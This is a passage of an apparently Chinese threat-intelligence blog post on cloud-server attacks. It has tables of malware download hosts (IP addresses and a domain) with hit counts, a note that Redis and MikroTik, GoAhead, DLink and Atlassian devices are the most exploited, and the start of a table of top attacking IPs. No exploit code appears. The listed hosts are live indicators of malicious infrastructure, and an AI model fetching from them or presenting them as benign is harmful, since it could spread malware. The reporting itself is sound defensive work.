accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:64"><span lang="EN-US">1,128</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">19,307</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">7</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">45.133.203.192</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan"><span lang="EN-US">869</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">136,761</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">114</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">py2web.store</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:64"><span lang="EN-US">769</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">45,032</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">194.87.139.103</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan"><span lang="EN-US">763</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">110,061</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">10</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">194.145.227.21</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:64"><span lang="EN-US">168</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">727</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">18</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">103.209.103.16</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan"><span lang="EN-US">13</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">116</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">11</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">154.66.240.59</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:64"><span lang="EN-US">8</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">3,537</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">86.105.195.120<o:p></o:p></span></b></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan"><span lang="EN-US">3</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">416</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">10</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>除了第一位是阿里云官方提供的卸载软件的路径外，其余均为黑客搭建的恶意软件下载路径，这些路径的下载服务器主要分布在欧洲和美国。</p><h3 id="--2">漏洞的扫描和攻击</h3><p>大多数云服务器攻击者倾向于使用热门应用程序的旧漏洞。我们发现，排除掉暴力破解后，云服务器攻击者最喜欢使用Redis漏洞。此外，NVR、DVR、网络摄像头等安防设备和路由器设备的漏洞也是云服务器漏洞攻击的主要目标。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/7.png" class="kg-image" alt loading="lazy"></figure><p>被云服务器攻击者攻击最多的程序是Redis，其他包括MikroTik、GoAhead、DLink、ATLASSIAN等厂商的设备也是主要的被攻击目标。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/8.png" class="kg-image" alt loading="lazy"></figure><p>以下是利用的漏洞种类最多的10个IP。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:346.35pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:10.8pt">
<td width="141" nowrap="" valign="top" style="width:106.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></b><b><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="color:white;mso-themecolor:background1;mso-font-kerning:
0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="151" nowrap="" valign="top" style="width:4.0cm;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">云服务商</span></b><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="89" nowrap="" valign="top" style="width:66.75pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">攻击次数</span></b><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="80" nowrap="" valign="top" style="width:60.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">漏洞数量</span></b><span lang="EN-US" style="color:white;
